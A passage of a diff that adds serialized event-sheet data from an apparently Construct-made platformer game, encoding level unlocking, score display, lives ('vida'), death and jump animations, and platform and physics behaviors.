+ 9
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 251809814309504,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 131467031060142,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 619984558722962,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 305170761943705,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 567873484551461,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 618378638916225,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 322204159961267,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 179530083698303,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level10"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 133071795592768,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 755513896232802,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 781455661116573,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 563226348254680,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 824061723957653,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 345847307839101,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 654315068892038,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 798805005792507,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 449781837548865,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level11"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 142512981125929,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 171525308906958,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 12
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 868729565511622,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 906911082939606,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 274644749051094,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 699226548113319,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 427365214228602,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 707644071410290,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 154962032934696,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level12"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 273080380276406,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 12
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 583338680208337,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 13
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 577432786558341,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 853640768544984,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 138000355404854,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 177958369741847,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 950690983239160,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 110666626788250,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 839927540463106,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level13"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 938921310828723,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 13
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 465486444463093,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 435953630695837,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 645585367297778,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 584153393706132,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 666950780960193,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 776775942927093,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 521628375653296,
+ false
+ ]
+ ],
+ [
+ [
+ 355,
+ 95,
+ null,
+ 880023366130434,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 348322728204989,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 958167511605982,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 716881665818206,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "tres"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 703839382243759,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 735635756160771,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 367130697224379,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "dos"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 776789855023528,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 656456716752339,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 298068083379339,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "uno"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 478583779149909,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 163018832317859,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 326,
+ 30,
+ null,
+ 729697857404998,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "cero"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 96,
+ "Platform",
+ 621610573473880,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 703208307778661,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 97,
+ "Platform",
+ 474898524706368,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 406266441748338,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 186071192491289,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 886921944262116,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 198598018618504,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 92,
+ null,
+ 346795014407757,
+ false,
+ [
+ [
+ 4,
+ 356
+ ],
+ [
+ 5,
+ [
+ 2,
+ "UI"
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 400
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 240
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 98,
+ null,
+ 701972377354464,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 400933400087980,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 110636096368890,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 839572912964797,
+ false
+ ]
+ ],
+ [
+ [
+ 9,
+ 45,
+ null,
+ 976416541278055,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 338457764204105,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 479819086417736,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 69,
+ null,
+ 766899899225838,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 844606100470520,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 932232081520089,
+ false,
+ [
+ [
+ 4,
+ 358
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 358,
+ 50,
+ null,
+ 298773879775586,
+ false
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 468943309118656,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 868553811404840,
+ false,
+ [
+ [
+ 2,
+ [
+ "ahogado",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 114328310512002,
+ [
+ [
+ 547,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 519211517761335,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "pega"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 559764697940047,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 547,
+ 30,
+ null,
+ 913616703882152,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "nopega"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 567697467491145,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 547,
+ 30,
+ null,
+ 708470897561984,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "pega"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 322082661032298,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 150765593919215,
+ false,
+ [
+ [
+ 4,
+ 547
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 812820396193909,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 796975416702299,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 234974770557047,
+ false,
+ [
+ [
+ 2,
+ [
+ "laserdie",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 825371560455324,
+ false,
+ [
+ [
+ 2,
+ [
+ "ahogado",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ -5
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 218568875050686,
+ false,
+ [
+ [
+ 4,
+ 380
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 399690481867212,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 288668940080700,
+ false,
+ [
+ [
+ 4,
+ 374
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 926989346155201,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 264271424771561,
+ false,
+ [
+ [
+ 2,
+ [
+ "pinche",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 90,
+ null,
+ 464147255498017,
+ false,
+ [
+ [
+ 4,
+ 388
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 407770423120283,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 99,
+ null,
+ 157285043543427,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 898897917736950,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 67,
+ "Platform",
+ 406235124598798,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -400
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 368825198468089,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 1.5
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 47,
+ "Sine",
+ 195051076183938,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 324,
+ 100,
+ null,
+ 963999402480725,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 100
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 213282300908208,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 422557132489010,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 307890769056679,
+ false,
+ [
+ [
+ 4,
+ 361
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 299962438107114,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 109059267273134,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 794403692413115,
+ false,
+ [
+ [
+ 4,
+ 362
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 526171392091218,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 958833657165283,
+ [
+ [
+ 0,
+ 101,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 908849722670595,
+ false,
+ [
+ [
+ 4,
+ 363
+ ]
+ ]
+ ],
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 219313961499024,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 61,
+ "Platform",
+ 980154711804886,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ 4,
+ 80,
+ null,
+ 391682426109377,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 1,
+ [
+ 19,
+ 81,
+ [
+ [
+ 2,
+ "jump"
+ ],
+ [
+ 2,
+ "jump2"
+ ]
+ ]
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 988031974156968,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 643808574241750,
+ false
+ ]
+ ],
+ [
+ [
+ 361,
+ 50,
+ null,
+ 231866789570066,
+ false
+ ],
+ [
+ 362,
+ 50,
+ null,
+ 495982216968599,
+ false
+ ],
+ [
+ 363,
+ 50,
+ null,
+ 316689950618723,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 696681027479854,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 292354423854590,
+ false
+ ]
+ ],
+ [
+ [
+ 369,
+ 46,
+ "Pin",
+ 357177664741008,
+ false,
+ [
+ [
+ 4,
+ 366
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 370,
+ 46,
+ "Pin",
+ 149299763493466,
+ false,
+ [
+ [
+ 4,
+ 367
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 371,
+ 46,
+ "Pin",
+ 804938858369264,
+ false,
+ [
+ [
+ 4,
+ 368
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 373,
+ 46,
+ "Pin",
+ 934038069732953,
+ false,
+ [
+ [
+ 4,
+ 372
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 584834249666328,
+ false,
+ [
+ [
+ 11,
+ "hiter"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 378,
+ 46,
+ "Pin",
+ 209685351771302,
+ false,
+ [
+ [
+ 4,
+ 375
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 379,
+ 46,
+ "Pin",
+ 269812940541159,
+ false,
+ [
+ [
+ 4,
+ 375
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 390,
+ 46,
+ "Pin",
+ 260601987484220,
+ false,
+ [
+ [
+ 4,
+ 389
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 391,
+ 46,
+ "Pin",
+ 272023337046345,
+ false,
+ [
+ [
+ 4,
+ 343
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 392,
+ 46,
+ "Pin",
+ 314916004531547,
+ false,
+ [
+ [
+ 4,
+ 393
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 395,
+ 46,
+ "Pin",
+ 762302161199435,
+ false,
+ [
+ [
+ 4,
+ 394
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 397,
+ 46,
+ "Pin",
+ 115282060454903,
+ false,
+ [
+ [
+ 4,
+ 396
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 399,
+ 46,
+ "Pin",
+ 785548071715505,
+ false,
+ [
+ [
+ 4,
+ 398
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 403,
+ 46,
+ "Pin",
+ 481391255935759,
+ false,
+ [
+ [
+ 4,
+ 386
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 411,
+ 46,
+ "Pin",
+ 899695939819937,
+ false,
+ [
+ [
+ 4,
+ 409
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 410,
+ 102,
+ "Physics",
+ 130761301483878,
+ false,
+ [
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ],
+ [
+ 4,
+ 409
+ ]
+ ]
+ ],
+ [
+ 412,
+ 102,
+ "Physics",
+ 785699918336785,
+ false,
+ [
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ],
+ [
+ 4,
+ 409
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 375254549496765,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 544212817022785,
+ [
+ [
+ 375,
+ 64,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 311472201009449,
+ false,
+ [
+ [
+ 10,
+ 0
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 375,
+ 51,
+ null,
+ 924282439879416,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 375,
+ 52,
+ false,
+ null
+ ],
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 375,
+ 30,
+ null,
+ 510774373375664,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "left"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
